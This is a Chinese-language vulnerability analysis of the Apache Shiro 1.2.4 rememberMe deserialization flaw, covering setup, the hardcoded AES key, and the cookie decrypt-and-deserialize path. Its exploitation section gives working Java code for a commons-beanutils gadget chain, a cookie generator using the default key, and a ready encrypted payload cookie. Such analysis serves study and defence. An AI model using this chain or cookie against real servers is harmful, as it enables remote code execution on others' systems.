Shiro反序列化

环境搭建

直接从github上clone代码到本地。

1
2
3
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4

编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2。

1
2
3
4
5
6
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>

在IDEA(注意得是ultimate)中导入mvn项目, 并配置tomcat环境
img

漏洞分析

根据漏洞描述,Shiro≤1.2.4版本默认使用CookieRememberMeManager,当获取用户请求时,大致的关键处理过程如下:
· 获取Cookie中rememberMe的值
· 对rememberMe进行Base64解码
· 使用AES进行解密
· 对解密的值进行反序列化

由于AES加密的Key是硬编码的默认Key,因此攻击者可通过使用默认的Key对恶意构造的序列化数据进行加密,当CookieRememberMeManager对恶意的rememberMe进行以上过程处理时,最终会对恶意数据进行反序列化,从而导致反序列化漏洞。

以下流程可以的话一定自己动调 会更加清晰容易理解

加密过程

先分析一下加密的过程。
在org/apache/shiro/mgt/DefaultSecurityManager.java代码的rememberMeSuccessfulLogin方法下断点。
img

跟进onSuccessfulLogin方法,具体实现代码在AbstractRememberMeManager.java。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
//always clear any previous identity:
forgetIdentity(subject);

//now save the new identity:
if (isRememberMe(token)) {
rememberIdentity(subject, token, info);
} else {
if (log.isDebugEnabled()) {
log.debug("AuthenticationToken did not indicate RememberMe is requested. " +
"RememberMe functionality will not be executed for corresponding account.");
}
}
}

调用forgetIdentity方法对subject进行处理,subject对象表示单个用户的状态和安全操作,包含认证、授权等( http://shiro.apache.org/static/1.6.0/apidocs/org/apache/shiro/subject/Subject.html)。继续跟进forgetIdentity方法,getCookie方法获取请求的cookie,接着会进入到removeFrom方法。
img

removeForm主要在response头部添加Set-Cookie: rememberMe=deleteMe
img

然后再回到onSuccessfulLogin方法中,如果设置rememberMe则进入rememberIdentity。
img

rememberIdentity方法代码中,调用convertPrincipalsToBytes对用户名进行处理。

1
2
3
4
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
rememberSerializedIdentity(subject, bytes);
}

进入convertPrincipalsToBytes,调用serialize对用户名进行处理。

1
2
3
4
5
6
7
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals);
if (getCipherService() != null) {
bytes = encrypt(bytes);
}
return bytes;
}

跟进serialize方法来到org/apache/shiro/io/DefaultSerializer.java,很明显这里对用户名进行了序列化。
img

再回到convertPrincipalsToBytes,接着对序列化的数据进行加密,跟进encrypt方法。加密算法为AES,模式为CBC,填充算法为PKCS5Padding。
img

getEncryptionCipherKey获取加密的密钥,在AbstractRememberMeManager.java定义了默认的加密密钥为kPH+bIxk5D2deZiIxcaaaA==。
img

加密完成后,继续回到rememberIdentity,跟进rememberSerializedIdentity方法。
img

对加密的bytes进行base64编码,保存在cookie中。至此,加密的流程基本就分析完了。
img

解密过程

对cookie中rememberMe的解密代码也是在AbstractRememberMeManager.java中实现。直接在getRememberedPrincipals下断点。
img

getRememberedSerializedIdentity返回cookie中rememberMe的base64解码后的bytes。
img

继续调用convertBytesToPrincipals方法对解码后的bytes处理,跟进convertBytesToPrincipals方法,调用decrypt方法对bytes进行解密。

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

解密后得到的结果为序列化字符串的bytes。

然后进入到deserialize方法进行反序列化,即用户可控的rememberMe值经过解密后进行反序列化从而引发反序列化漏洞。

漏洞利用

如果想通过反序列化实现RCE 最好在shiro本身依赖当中寻找利用链

这里利用到commons-beanutils 中的 PropertyUtils.getProperty 它可以对一个对象调用对应的get方法来获取成员变量的值 测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import org.apache.commons.beanutils.PropertyUtils;
public class CBTest {
public static void main(String[] args) throws Exception {
Person p = new Person(18, "aa");
System.out.println(PropertyUtils.getProperty(p, "age")); // 18
}

public static class Person {
private int age;
private String name;

Person(int a, String n) {
this.age = a;
this.name = n;
}

public int getAge() throws Exception {
Runtime.getRuntime().exec("calc");
return age;
}

public String getName() {
return name;
}
}
}

跟进getProperty的逻辑发现它相当于就是拼接get和首字母大写后的成员变量 后得到函数名,搜索调用

0z1

刚好TemplatesImpl 中有get方法并且会执行newTransformer() (作用可以看JAVA反序列化CC3

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

那么我们可以构造类似PropertyUtils.getProperty(templates, "outputProperties")来触发执行

0x2

接着追踪调用了getProperty的地方 有三处 但只有BeanComparator可以序列化 所以跟进

1
2
3
4
5
6
7
8
9
10
11
12
public int compare( Object o1, Object o2 ) {
if ( property == null ) {
return comparator.compare( o1, o2 );
}

try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return comparator.compare( value1, value2 );
}
// ...
}

参数均可控

0x3

BeanComparator 也是一种Comparator 用于比较类对象间大小 PriorityQueue在反序列化时如果有comparator会自动调用它的compare方法

构造(注意序列化的时候不能有数组类,否则反序列化时会报错 因此ChainedTransformer不再可用 具体可见 Shiro反序列化漏洞笔记三(解疑篇)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public static void exploit() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field bytecode = tc.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);

byte[][] bytes = new byte[1][];
bytes[0] = Files.readAllBytes(Paths.get("E:\\path\\to\\target\\classes\\Test.class"));

bytecode.set(templates, bytes);

Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "gg");

TransformerFactoryImpl tfi = new TransformerFactoryImpl();
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, tfi);
/*************************
这里使用new AttrCompare()的原因:
BeanComparator构造方法如果不指定comparator会使用CC里面的ComparableComparator 有可能找不到报错
AttrCompare也是一种Comparator 并且public, serializable
************************/
BeanComparator bc = new BeanComparator("outputProperties", new AttrCompare());

/***********************
这里先不放BeanComparator 因为add过程中会调用 可能会报错
同理add时先不add templates
最后序列化之前设置好各个成员变量为目标变量 (反序列化时操作的是目标变量即可)
***************************/
PriorityQueue<Object> pq = new PriorityQueue(2);
pq.add(1);
pq.add(1);

Field cprtField = PriorityQueue.class.getDeclaredField("comparator");
cprtField.setAccessible(true);
cprtField.set(pq, bc);

Field queueArray = PriorityQueue.class.getDeclaredField("queue");
queueArray.setAccessible(true);
queueArray.set(pq, new Object[]{templates, templates});
// serialize(pq);
// unserialize("bin");
}

0x4

由序列化后的文件生成cookie 并发送触发反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
public static void generate(String filename) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get(filename));

AbstractRememberMeManager arm = new CookieRememberMeManager();
Class c = AbstractRememberMeManager.class;
Method encryptMethod = c.getDeclaredMethod("encrypt", byte[].class);
encryptMethod.setAccessible(true);
byte[] encrypted = (byte[]) encryptMethod.invoke(arm, bytes);

String cookie = Base64.encodeToString(encrypted);
System.out.println(cookie);
}
// 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

Cookie中最好删除JSESSID再发送

img

参考

Shiro反序列化漏洞(三)-shiro无依赖利用链

Shiro反序列化漏洞笔记一(原理篇)

⬆︎TOP